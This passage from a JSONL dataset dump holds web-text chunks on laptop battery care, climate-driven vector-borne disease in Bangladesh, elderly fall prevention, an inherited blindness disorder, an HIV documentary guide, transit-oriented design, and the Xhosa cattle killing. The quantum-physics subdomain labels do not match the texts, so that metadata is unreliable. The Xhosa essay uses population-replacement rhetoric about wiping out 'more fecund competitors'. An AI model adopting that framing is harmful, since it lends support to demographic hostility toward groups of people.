battery ; do not short the external contacts on a battery ; and, do not dispose of a battery in fire or water. - do not leave batteries exposed to high temperatures for extended periods. prolonged exposure to heat ( for example, inside a hot car ) accelerates the deterioration of li - ion cells. - discharge the battery to 50 - 70 % and remove the battery if the computer will be stored ( turned off and not plugged into ac power ) for more than one month. - if the battery will be in prolonged storage, check the capacity every six months and recharge to 50 - 70 %. - if you have a choice of battery types to use with your computer, use the type of battery with the highest capacity ( ah ) rating. - run battery check in the hp support assistant once a month to maintain the battery. - calibrate the battery based on the results shown in hp support assistant. under normal usage, batteries should be calibrated a minimum of once every 2 - 3 months ; however, a battery that is rarely discharged fully, should be calibrated about once a month. - keep the battery away from children. - use only the battery provided with the computer, a replacement battery provided by hp, or a compatible battery purchased as an accessory. special recommendations for embedded ( not customer replaceable ) batteries if the battery is embedded in your computer, the following practices are recommended : - if the computer is unused for more than three months, discharge the battery to about 70 % before storing. for prolonged storage, check the battery capacity every six months and charge it back up to 70 %. always store the computer between 20\u00bac and 25\u00bac ( 68\u00baf and 77\u00baf ). - if the computer is used primarily on ac power, allow the battery to discharge completely and recharge once per month. tips for conserving battery power use these tips to change the power consumption of the computer to conserve battery power. - reduce the number of open applications. each open software application uses memory and power, even when the application window is minimized. close software applications to conserve battery power. - reduce the brightness of the screen to the minimum readable level. use the fn and f7 or", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5163193803004904, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.768164"} {"text": "disease surveillance and control of vector to protect climate the daily star climate change is caused by the accumulation of \" green - house \" gases in the lower atmosphere. the concentration of these gases is increasing mainly due to conversion of fossil fuel and deforestation. for example, individuals are responsible for about 40 percent of emissions in the uk, with energy use in homes, driving and air travel the biggest the temperature of the earth is escalating dangerously. as a result, the ice - caps and glaciers in the polar regions are melting, submerging low - lying coastal lands, including that of bangladesh. the viruses and microbes that were inactive and buried under freezing ice, are now starting to wake up as optimum temperature for their activities is coming back. they are invading human and animal bodies. human settlers are occupying and destroying forests, disturbing the flora and fauna including the vectors, viruses and microbes. reciprocally, the viruses are also finding new hosts in humans and animals, causing illness. occurrence of drought in erstwhile rainy areas is causing water crisis. man and crops are facing disaster for this. the human development report 2007 / 2008 of undp shows that climate change is not just a future scenario. increased exposure to droughts, floods and storms is already destroying opportunity and climate - related increases in sea surface temperature and sea level can lead to higher incidence of water - borne infectious and toxin - related illnesses. climate stress on agriculture causes malnutrition. increased flux of ultraviolet radiation will cause alterations in the human immune system, thus increasing vulnerability climate change may increase the risk of some infectious diseases, particularly those that appear in warm areas and are spread by mosquitoes and other insects, like malaria, dengue fever, yellow fever and encephalitis. disease transmission is directly affected by climate change by removing the vector ' s habitat, increasing reproductive and biting rates, and shortening the disease incubation vector - borne diseases are very sensitive to temperature, humidity and rainfall. climate change may alter the distribution of important vectors species, and that may increase the outbreak of diseases into new areas. disease surveillance facilities in bangladesh the institute of epidemiology, disease control & research ( iedcr ) is an important public health institute of bangladesh. the main activities of iedcr include disease surveillance as well as entomological surveillance, and disease outbreak investigation. climate change, the pattern of distribution and duration of existing disease may be changed. on the other hand, new types of illnesses might emerge. an effective surveillance system is needed to monitor all", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.4769420716493063, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.776620"} {"text": "as well as entomological surveillance, and disease outbreak investigation. climate change, the pattern of distribution and duration of existing disease may be changed. on the other hand, new types of illnesses might emerge. an effective surveillance system is needed to monitor all these at present, nine types of disease surveillance systems are in operation. iedcr conducts 7 of them : priority communicable disease surveillance, outbreak related emergency surveillance, institutional disease surveillance, sentinel surveillance, nipah surveillance, acute meningo - encephalitis surveillance and hospital - based influenza surveillance. two other types are conducted by other institutions. expanded program for immunisation ( epi ) conducts surveillance for epi diseases, medical information system ( mis ) conducts routine disease surveillance for disease profile. besides these formal surveillance activities, the directorate general of health services ( dghs ) and director ( disease control ) receive reports of illness having public health importance from all over the country. data are also received from existing programs, e. g., malaria eradication program, kala - azar control program, tuberculosis control program, hiv / aids surveillance program, filariasis control recently, iedcr has taken an initiative to build a coordinated mechanism for all the surveillance activities and data collection, and analysis and reporting of illnesses of public health impact of climatic change on vector - borne disease malaria : over the last 10 to 15 years, the prevalence and geographic distribution of malaria worldwide has increased slowly but steadily. its recent worldwide increase is due mainly to mosquito resistance to insecticide, breakdown of control efforts, migration of vectors and however, its spread is also related to environment. agriculture extension and road building have created better habitats for vector mosquitoes. with gradual increase in global temperature since the last ice age ( 8 - 9. 5\u00b0 c ) transmission of malaria has migrated from africa to southern europe. specific experiment has been conducted on the effect of temperature on the ability of aedes aegypti to transmit den - 2 virus. the pattern of temperature and vector efficiency parallels the climatic pattern of dengue haemorrhagic fever ( dhf ) outbreak in bangkok, thailand where the case rate rise in hot season ( 80\u00b0 - 30\u00b0 c ) and decrease during the cool season ( 25\u00b0 - 28\u00b0 c ). vector - borne disease control strategies in changed climatic condition both disease and vector surveillance, and treatment and control of vectors should be part of a comprehensive public health policy that promotes co - operation among researchers, medical clinicians and government staff at local, regional", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4772365405320034, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.777775"} {"text": ". vector - borne disease control strategies in changed climatic condition both disease and vector surveillance, and treatment and control of vectors should be part of a comprehensive public health policy that promotes co - operation among researchers, medical clinicians and government staff at local, regional and international level. policy makers should consider modern technology as a means for collecting information about vector - borne diseases, developing effective control strategies and setting appropriate priorities. four types of surveillance should be conducted to track vector - borne - recording human cases - determining the distribution and infectivity of vectors - monitoring a broad range of non - human vertebrates reservoir species the weather patterns to help predict vector distribution. monitoring climatic parameters provide sufficient information to forecast the population of key vector basic research both in the field and laboratory should be taken to examine the disease agent ' s ability to adapt to changing climatic condition to allow prediction of which pathogen might migrate and their potential destination. information about the parameters limiting vectors are equally important. measures can be targeted at several different aspects of the life cycle of vector. vaccination for animals and humans are aimed at preventing the proliferation of pathogens and pesticides, and breeding place management will reduce or eliminate the vectors. immigration policies and custom inspections may limit pathogen and vector entrance. drug treatment may limit future transmission of diseases. looking forward satellite - based remote sensing of ecologic conditions, geographic information system ( gis ) analytic techniques, inexpensive computational power, and molecular techniques to track the geographic distribution and transport of specific pathogens are some of the rapid advances in science which are used in developed countries for disease epidemiology and surveillance. they enable the public health scientists to analyse the evolution and distribution of microbes, and their relationship to different environments. it may contribute to quantify the disease impacts of climatic and environmental changes. disease control mostly relies on surveillance, followed by a rapid response. climate forecasts and environmental observations could be used to identify high - risk locations for disease outbreaks. operational early warning systems are not yet possible for our limited knowledge of climate - disease relation and limited climate forecasting capabilities. but establishing this goal will help to develop analytic, observational, and computational capacities. should be co - ordinated with meteorologic, ecologic, and epidemiologic surveillance systems. together, this information could be used to identify risky locations and could be a wake - up call as surveillance data confirm earlier projections. early warning systems of disease should also include vulnerability and risk analysis, response plans, and effective risk communication. the lack of high - quality ep", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.46614904658820366, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.780965"} {"text": "could be used to identify risky locations and could be a wake - up call as surveillance data confirm earlier projections. early warning systems of disease should also include vulnerability and risk analysis, response plans, and effective risk communication. the lack of high - quality epidemiologic data for most diseases is a serious obstacle to improve our understanding of climate and disease linkages. these data are necessary to establish a baseline against which one can detect unusual changes, and develop and validate models. a concerted effort should be made to collect long - term, area specific disease surveillance data, along with the appropriate set of meteorologic and ecologic centralised, electronic databases should be developed to facilitate rapid, standardised reporting and sharing of epidemiologic data among researchers. if an effective, modern and co - ordinated surveillance system could be built, then it will be possible to rapidly identify any outbreak of existing or emerging disease, known or unknown disease in any locality. then it will be possible to take appropriate measures for prevention and control of those illnesses of public health importance. prof. mahmudur rahman, phd is director, institute of epidemiology disease control and research ( iedcr ). dr. m. mushtuq husain phd is senior scientific officer, dept of medical social science, iedcr. nuzhat naseen bano is scientific officer, dept of medical entomology, iedcr.", "subdomain_id": "subdomain_quantum_metrology", "similarity_score": 0.47064585243118073, "token_count": 291, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.781747"} {"text": "icy sidewalks. slippery driveways. boots that bring melting snow onto floors. these all can cause falls. these are minor hazards for most of us, but for an elderly person, they can be devastating. a spill that gives a 20 - year - old a bruised knee could send an elderly person to the hospital. \u201c if you are over the age of 80 and you fall and break your hip, there is only a 50 percent chance that you will be able to return home, ever, \u201d says frederick frost, md, department chair of physical medicine and rehabilitation at cleveland clinic. some adults over age 65 are more at risk for falls than others, says barbara messinger - rapport, md, phd, director of geriatric medicine at cleveland clinic. danger signs to look for here are 4 danger signs according to drs. frost and messinger - rapport : - rapid weight loss could mean loss of muscle and bone mass. elderly people who lose 10 percent of their weight or more within six months may be more at risk because older people are more likely to lose muscle and bone mass than fat, says dr. messinger - rapport. \u201c women are more likely to have a wrist fracture if they try to break their fall with their arms, \u201d she says. \u201c and if they don \u2019 t get their arms out in time, they \u2019 re more likely to break their hips when they fall. \u201d - vision problems can make it hard to see. if an elderly person has impaired vision, this can cause them to trip and fall and bump into things. some eye problems, like cataracts, can be corrected. - neurodegenerative diseases can increase an older person \u2019 s risk. neurodegenerative diseases, like parkinson \u2019 s disease and dementia increase an older person \u2019 s risk. \u201c many people with early dementia may look very robust, but have difficulty with multitasking, \u201d says dr. messinger - rapport. \u201c they may be carrying a cup from the living room to the kitchen, and if there is an obstacle or an uneven surface, they may not pay sufficient attention, trip, and fall. \u201d - certain medications impair judgement. pain medications, muscle relaxants, or sedatives can impair an older adult \u2019 s judgment, says dr. messinger - rapport. \u201c and even though you wouldn \u2019 t think it, most antidepressants increase the risk of falls and fractures. \u201d how do you prevent falls? drs. frost and messinger - rap", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4305481980624045, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.787398"} {"text": ", says dr. messinger - rapport. \u201c and even though you wouldn \u2019 t think it, most antidepressants increase the risk of falls and fractures. \u201d how do you prevent falls? drs. frost and messinger - rapport offer these suggestions for fall - proofing a home \u2014 whether elderly loved ones are visiting or you are helping an elderly person reduce risk of falls in their own home. clear a walking path make sure any pavement is shoveled and de - iced. try to discourage people from tramping through the house in wet boots, and wipe up any slippery spots quickly. you might also encourage shoes ( or slipper socks ) in the house because they have more traction than bare feet. either remove throw rugs or use double - sided tape to secure them ; they can cause people to slip. de - clutter the stairs. to help elderly visitors, make sure the steps are free of any obstructions like shoes or toys. look for unnecessary items or even pets and small children plopped down in a high - traffic area. watch alcohol intake at family get - togethers, older people may want to change their alcohol intake, says dr. frost. \u201c however, the interactions of that with drugs they may be taking can be unpredictable, \u201d she says. the limit on alcohol for older adults is one standard serving in a 24 - hour period. both doctors say if an elderly person has fallen in the past year, he or she may have a balance problem and should tell a doctor. treatment can include physical therapy sessions to improve confidence as well as strength, endurance, and balance.", "subdomain_id": "subdomain_quantum_mechanics", "similarity_score": 0.45031970374673636, "token_count": 325, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.789512"} {"text": "leber congenital amaurosis ( lca ) is a group of autosomal recessive - inherited eye disorders which lead to blindness at birth or within the first few years of life. other manifestations of the disease may include hearing loss, mental retardation and decreased physical coordination. vision is an important and complex sense by which the qualities of an object, such as color, shape, and size, are perceived through the detection of light. for proper vision, a critical series of biological steps must occur ; if any of the steps in the process is abnormal, visual impairment or blindness may occur. the process of vision begins with light that bounces off an object and passes through the outer coverings and lens of the eye and projects onto a layer of cells at the back of the eye called the retina. the retina contains two kinds of specialized cells types, called the rods and cones, that are responsible for sensing visual stimuli. when rods and cones are stimulated by light, impulses are conducted through the optic nerve to a region in the back of the brain known as the occipital lobe. the occipital lobe contains the visual cortex, the area of the brain that processes visual stimuli and integrates signals sent by the retina to obtain a composite image of an object. leber congenital amaurosis ( lca ) is a term for a group of inherited conditions in which the rod and cone receptors in the retina are defective or missing. without the proper function of these specialized cells, light cannot be sensed normally. lca is often referred to by other names, such as : congenital absence of the rods and cones, congenital retinal blindness, congenital retinitis pigmentosa, leber congenital tapetoretinal degeneration, or leber congenital tapetoretinal dysplasia. the disorder was first described by the german ophthalmologist, theodor leber, in 1869, who subsequently showed that it was an inherited defect. although similarly named, lca should not be confused with another disorder of sight, leber optic atrophy, that was also discovered by theodor leber.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5522320506646536, "token_count": 433, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.809227"} {"text": "facts & resources meet the filmmakers documentary for health & social justice \" we need to help our young girls set goals. help them negotiate condom usage. help them be stronger. give them theencouragement to say, \" this is my body and i have a choice. \" - filmparticipant living positive is a 15 - minute film told through the words and stories of five women innew orleans who share the challenges and triumphs of living with hiv. far from stopping at individual stories, the film explores the socialforces underlying the disease - including racism, poverty, lack ofinformation about hiv, and the stigma associated with the disease. thewomen in living positive have faced many struggles, including substanceabuse, sex work, mental health issues, and sometimes even rejection bytheir families, friends and community. a number of them continue tocontend with the physical and psychological aftermath of katrina. butthese women are also survivors, and living positive highlights theirstrengths and their many accomplishments. we hear how social networksmade up of family, friends, and community - based organizations sustainthem and help them grow. we learn about the powerful role of religionand spirituality in their lives. we see how working with other hivpositive women has brought a sense of meaning and fulfillment to theirlives. ultimately, the film shows how being hiv positive has been atransformative experience for these women. use the accompanying discussion guidebelow to help you engage your family and friends, your class, or yourcommunity in a discussion about the impact of hiv on women and theunderlying reasons that hiv disproportionately affects african americanwomen. this discussion guide provides questions to help you engage your family and friends, your class, or your community in a discussion about the impact of hiv on women and the underlying reasons that hiv disproportionately affects african american women. - the lack of knowledge about hiv / aids is fueling the epidemic. - the stigmatization of hiv positive people is still pervasive and negatively affects both mental and physical health. - social support networks and self - empowerment are important factors improving the health status of hiv positive women. - although gina and the other women in the film are hiv positive, you wouldn ' t necessarily know it by looking at them. what do you think are some of the things keeping these women healthy and full of life? - cynthia, gina, and others thought they were going to die when they found out", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46996818058353074, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.852469"} {"text": "hiv positive, you wouldn ' t necessarily know it by looking at them. what do you think are some of the things keeping these women healthy and full of life? - cynthia, gina, and others thought they were going to die when they found out they had contracted hiv, and some people still see hiv / aids as a fatal disease. however, others also now perceive it as a condition that - with the proper treatment - is chronic, manageable, and for this reason not so worrisome. does the truth lie in between these two extremes and if so can you describe where? - what some ways that you can contract hiv? what are ways that you do not contract hiv? what are some important methods of hiv prevention? - cynthia and jaivanique speak compellingly about how friends and relatives feared \" catching hiv \" from casual contact with them. - why do you think the misconceptions about hiv transmission are still so pervasive? - what should be done about this? - are any of the same misconceptions common in your community? - african american women have a disproportionately high risk of contracting hiv. ( according to the centers for disease control, black women experience a rate of hiv diagnoses 23 times greater than white women. ) how do you think racism might play a role in these higher rates of diagnosis? - cynthia and some of the other women in living positive have a past that includes substance abuse and / or sex work. what are some underlying reasons that might lead women in these directions? what might be some solutions? - the film discusses methods of hiv prevention - such as hiv / aids education and the use of condoms - that have to do with individual behavior. but what are some prevention methods that might address the root causes of increasing hiv rates in the african american community? try to address racism and poverty. - how might gender play a role in the fact that women of color now face a disproportionate risk of hiv infection? - jacquie talks about the importance of her church in her life, and most of the other women mention family members, friends, or organizations that have stood by them despite their hiv status. can you describe the role of such support networks in the physical and mental health of hiv positive women? back to top belle reve, new orleans ( 504 ) 942 - 2670 ; ( 504 ) 945 - 9455 camp ace, of st. john # 5 faith church centers for disease control ( 2007, june", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.47227057790313415, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.857259"} {"text": "positive women? back to top belle reve, new orleans ( 504 ) 942 - 2670 ; ( 504 ) 945 - 9455 camp ace, of st. john # 5 faith church centers for disease control ( 2007, june ). hiv / aids among african americans. retrieved 9 / 30 / 07 from www. cdc. gov / hiv / topics / aa / resources / factsheets / aa. htm centers for disease control ( 2006, april ). hiv / aids among women. retrieved 9 / 30 / 07 family advocacy, care and education services ( faces ) national aids fund - the well project www. thewellproject. org - hiv insite http : / / hivinsite. ucsf. edu / - the body : the complete hiv / aids resource www. thebody. com / living positive : meet the filmmakers deborah craig, ryan hildebrant, anthony massung & brett hickman deborahhas an eclectic background in history, writing, public health, music, and the visual arts. she received a b. a. in american history fromcolumbia university, has been a jazz drummer and photographer since herteens, and spent many years in the software industry, writing over adozen books on various software applications. she joined the masters inpublic health program at san francisco state university in the fall of2006. besides completing the required coursework, she is takingdocumentary film classes to search for ways in which the arts can beused to enhance awareness about public health issues. her film \" the verde garde : growing a healthy community, \" came out in the spring of 2007 and was featured in the san francisco state film finals. ryan has had a lifelong interest in all forms of media. he holds anassociates of science degree in video production and, prior to comingto san francisco state university, had two years of professional workexperience on local documentaries, educational programming, and videoproduction for the web in his home city of san diego, california. hisprimary production interests are in lighting and camera, although he isexperienced in post production and sound as well. ryan will graduatefrom san francisco state university with his bachelors of arts incinema production in may of 2008. anthonyis a narrative filmmaker and a student at san francisco stateuniversity. he has an intense passion for moviemaking and has beenworking with film and video for over five years. having gotten intofilmmaking because he wants", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.44657585058976873, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.859181"} {"text": "in may of 2008. anthonyis a narrative filmmaker and a student at san francisco stateuniversity. he has an intense passion for moviemaking and has beenworking with film and video for over five years. having gotten intofilmmaking because he wants to contribute to positive social change, anthony recently joined ryan hildebrant and deborah craig to create adocumentary about hiv positive women in new orleans. anthony will begraduating with a ba in cinema in may of 2008. when he was a young boy, it was common to see brett carrying his father ' slarge shoulder - mounted vhs camera, making small films with anyone braveenough on the cul - de - sac where he lived. eventually he attended sanfrancisco state university, with a major in cinema. there brett tookpart in several student films, including a short documentary entitled the verde garden : growing a healthy community, which was featured in the san francisco state film finals and prompteda substantial united way grant to the verde garden. brett graduatedfrom san francisco state university in may of 2007. he now lives inirvine california, where he has harnessed his newfound passion fordocumentary style filmmaking, and is currently active as a freelancecamera operator on several projects. brett was asked to accompany thenew orleans group on their production as a second camera op, and isvery honored to be a part of this new documentary, living positive. view the high - quality version of this film the information on these pages is provided by the student film makers and does not represent an endorsement or verification of statements from the health equity institute", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.41407546138567686, "token_count": 326, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.859933"} {"text": "density. for planners and urban designers helping to create transit - oriented developments ( tods ), density is the crucial factor in achieving a critical mass for ridership and a mixed - use walkable environment that will entice people out of their cars. in many cases if planners can \u2019 t reach that threshold of density than transit is the baby that gets thrown out with the bath water. density continues to be extremely important to the success of transit, and in looking at the largest cities in the u. s., residential and employment density correlate strongly with the percentage of transit modal share. but increasingly, physical access and the walkable environment of a tod are getting face time in the transit debate. reconnecting america, arguably the organization taking the lead in tod, highlights street design, public space design, and connectivity to transit as must - dos. even if the density threshold is met, in many cases if these urban design principles aren \u2019 t used in land use planning, premium transit won \u2019 t acquire its maximum ridership. in working on a corridor plan in southeast florida, i, along with my project team, are thinking extensively how to retrofit the land use design along a large arterial, that for the majority of its length traverses a low density suburban context. through our short - term and long - term land use recommendations, we hope that it will be retrofitted to provide better access to the public transportation it currently has, as well as be able to easily become a transit - oriented corridor ( toc ) in the near future. in preparing this corridor for its birth as a toc, we are employing four design principles that i would argue are most effective in creating an environment supportive of transit - oriented development : connectivity, enhancements to the public realm, site orientation, and ground floor design and use. connectivity is the degree of which streets, roads, and pedestrian routes are joined together. the more connected the street network through a site, the more access and circulation options are provided. if an urban fabric has a high degree of connectivity, it provides many ways for users to navigate their environment and, in the process, reduces the extent to which all travelers must rely on one route. increasing the number of multimodal routes that connect with transit - oriented corridors will have many benefits, most notably : - alleviate automobile congestion by providing more navigational choices to users to reach destinations more efficiently, - allow the corridors to maintain their current width or be narrowed through a road diet to accommodate multimodal forms of transportation", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4973811090641951, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.868695"} {"text": "will have many benefits, most notably : - alleviate automobile congestion by providing more navigational choices to users to reach destinations more efficiently, - allow the corridors to maintain their current width or be narrowed through a road diet to accommodate multimodal forms of transportation, and - create a physical environment that is conducive to mixed - use development and increase transit ridership. public realm enhancements the \u201c public realm \u201d refers to space that is publicly owned, accessible, and maintained. design enhancements to the public realm along major corridors provide more appropriate facilities for transit, transit - users, and the mixed - uses supportive of transit. alterations to the public realm along transit - oriented corridors can include improvements to buffers such as landscaping and lighting, enhancement of pedestrian - dedicated space such as sidewalks, and allowance of space for outdoor commercial activities. enhancing the public realm along transit - oriented corridors will have many benefits, most notably : - encouraging uses to access transit through direct and efficient routes to station facilities, - providing space for station facilities and supporting public space required of premium transit, - creating a comfortable environment along the corridor for transit users in between transfers, and - creating the active public space required for a healthy mixed - use environment site orientation is how buildings are located on a site in relationship to the public realm. in the past few decades, especially along commercial corridors that are designed - oriented for the automobile, parking lots have taken precedence over the building \u2019 s relationship to the street. in more urban environments that were developed before mainstream use of the automobile, buildings are located adjacent to the street and parking is accommodated on the street or by more modest lots the rear of the building. traditional site orientation along transit - oriented corridors has many benefits, most notably : - creating a sense of enclosure along the street that helps contributes to a comfortable environment for pedestrians, - achieving a building height - to - street ratio of at least 6 : 1 to achieve an urban character along the corridor, - allowing the overlooking of public space, which is instrumental in creating safe environments for people, and - creating an efficiency in travel for transit users and pedestrians between destinations ground floor design and use instrumental in creating an urban environment that is conducive to transit - oriented development is an active public realm. regulating the design and use of the ground floor of buildings adjacent to pedestrian space and transit facilities can have an enormous effect or the safety, comfort ability, and commercial success of the corridor. active ground floor spaces can have many benefits, most notably : - an overlooked a safe environment for pedestrians and transit", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4732102518366162, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.869753"} {"text": "of buildings adjacent to pedestrian space and transit facilities can have an enormous effect or the safety, comfort ability, and commercial success of the corridor. active ground floor spaces can have many benefits, most notably : - an overlooked a safe environment for pedestrians and transit users - creating an appealing space with a strong identity that attracts people and business, ie : \u201c placemaking \u201d a co - worker made the observation that many of the sites that host the low density retail product that we were charged with retrofitting along this corridor often shared the same context, plot size, and density. in our research of the design alternatives for traditional big box sites locally we stumbled across two targets, one in tampa and one in orlando, that illustrate the importance of design principles in development along future transit - oriented corridors. the target located on dale mabry highway and i - 275 in tampa was welcomed by many when it was built in 2005. by building stores adjacent to a multi - story parking deck, the design included three times the amount of parking and stores located on the same site. a higher density of development was certainly achieved. it was a different alternative to the typical suburban development that had been seen for the past 4 decades. in this case, i believe \u201c different \u201d might have been substituted with \u201c good, \u201d and for lack of a better example, even considered \u201c urban. \u201d - connectivity : the site design does not include any streets through the site and therefore the one access road to the north of the shopping center is congested, contributing to traffic along the corridor - public realm enhancements : there is no public realm dedicated to pedestrians or cyclists at all in the development, which encourages car usage - site orientation : instead of orienting the buildings on the site so that the liner building in front of the parking garage fronted the corridor, a surface parking lot and out parcel buildings were placed along the road. the result is a poor quality pedestrian environment with no clear connections to transit - ground floor design and use : solid walls bordering circulation space and inactive uses like a parking garage contribute no activity to the public realm and creates an inhospitable walking environment the target located on orange avenue in orlando however, achieved the same program and density ( even more actually ) while addressing its urban context and properly employing the four design principles. the difference in the quality of place and access to the urban corridor is absolutely staggering. - connectivity : the site design includes two north - south and one east - west through - roads that disperse circulation throughout the site and alleviates congestion on the corridor. this also", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4580912658748252, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.871267"} {"text": "in the quality of place and access to the urban corridor is absolutely staggering. - connectivity : the site design includes two north - south and one east - west through - roads that disperse circulation throughout the site and alleviates congestion on the corridor. this also makes the mixed - uses included in the development more accessible to bordering neighborhoods - public realm enhancements : sidewalks in the development and adjacent to neighborhoods are comfortable for pedestrians. proper buffering is provided by vegetation and on - street parking - site orientation : instead of placing suburban outparcels along the corridor, buildings are placed directly fronting the sidewalk. while they do not achieve a density desired on a tod corridor they do create a more urban and walkable character. - ground floor design and use : solid walls are avoided where possible. facades that face the public realm are majority fenestration and provide active uses adjacent to open space. these two development examples illustrate how important required design standards are in achieving a land use and pattern required of transit - oriented design. while many design principles could be put in place along designated transit - oriented corridors, requiring connectivity, a well - designed public realm, active ground floor uses, and site orientation will achieve a high - quality level of development. the below picture shows from a site planning perspective how easily the higher quality development in orlando could be achieved on the same site in tampa. in fact, we realized that this is the case among many targets, including the one on our corridor in hollywood, fl. and the target in my home town of charlotte. we need to remember that \u201c different \u201d doesn \u2019 t always mean better. and while we are making progress in achieving a higher density and more program on a site, we could make even a bigger difference on many of our future transit - oriented corridors if we are just aware of how cities as close as an hour away are integrating the same big box products. while density certainly lays the foundation for a rich tod, its optimal success is dependent on the quality of place achieved by traditional urban design.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4635270588135076, "token_count": 406, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.872228"} {"text": "leads to : traditionalism and the mind of society in 19th century south africa, the xhosa people destroyed all their own crops and cattle. the result was a horrible famine that reduced their population to a fraction of what it had been. the cause : a prophecy proclaiming that the british would be driven out if only they sacrificed everything. enlightened western thought has long equated irrational beliefs and superstition with nothing less than darkness. superstition is regarded as the hallmark of primitives ; society has progressed and grown beyond such nonsense. holding such irrational beliefs is regarded as maladaptive and self - defeating. that \u2019 s why modern societies have won! yet the idea of technology and rationalism being \u2018 progress \u2019 and evidence of superiority is itself an irrational belief, a superstition, a dogmatic doctrine. having jet fighters amounts to little if a society falls behind in the reproductive race and is unwilling / unable to use the jet fighters to wipe out their more fecund competitors. if the modernized civilization can \u2019 t even keep its population isolated from the more fecund populations, displacement and replacement is just a matter of time. in a society founded on rationalism and science, we fail to understand : actions and ideas that are irrationally justified at the level of individuals can have a perfectly rational outcome when implemented across an entire society. the evolution of a highly social species doesn \u2019 t select for individual fitness by itself. it selects for the most successful social models and the individuals that can function within them. clever individuals amount to nothing if the result of their collaboration is a stupid society. a society has a \u2018 mind \u2019 of its own looking after its own interests and the evolutionarily successful individual serves as an effective neuron before looking after its own interests. of our destinies and autonomy, the mind of society takes the first cut in exchange for handling the larger scale \u2014 not unlike like the system of taxation that underpins a government. members of successful societies either believe in the \u2018 right \u2019 things for the wrong reasons or, more likely : their intended courses of action and ostensibly held beliefs inadvertently result in a favorable outcome for reasons they cannot begin to fathom. like birds that distribute the seeds of berries they \u2019 ve eaten in their feces without ever understanding why more berries appear, they fulfill their function without knowing what they do. the individuals in these societies accept irrational, customary behaviors because it \u2019 s what they \u2019 ve always been told by their society, because they have to belong to their society in order to survive.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5155357425796692, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.877156"} {"text": "appear, they fulfill their function without knowing what they do. the individuals in these societies accept irrational, customary behaviors because it \u2019 s what they \u2019 ve always been told by their society, because they have to belong to their society in order to survive. because the less cooperative, less malleable, more critically minded individuals are culled from each generation ( or were never allowed to come into being to begin with ). thus : we are bred for susceptibility to irrationally founded social norms and belief in the inherent correctness of collectively endorsed action. seen in this way, the disastrous cattle slaughters of the xhosa no longer seem so surprising or extraordinary. the same social traits of group unity and faith in authority that had previously resulted in evolutionary success simply malfunctioned under changed circumstances. the clear weakness of social evolution as with natural evolution is its lack of flexibility in the face of sudden change. taxing individuals of their capacity for autonomy also limits their ability to respond to new environmental stresses. as with species, the social minds that adapt to change and survive malfunction continue onward. however, with the human population flirting as ever with malthusian disaster and resource depletion, we should ask : can we afford to leave the social mind as a monarch that does not answer to its subjects? could the xhosa have prevented their self - destruction by understanding and collaborating with their social mind?", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.49960090714102123, "token_count": 285, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:17.877722"} {"text": "the lao people originally occupied parts of southern china. they were gradually driven southward into the indochinese peninsula by the chinese. about the 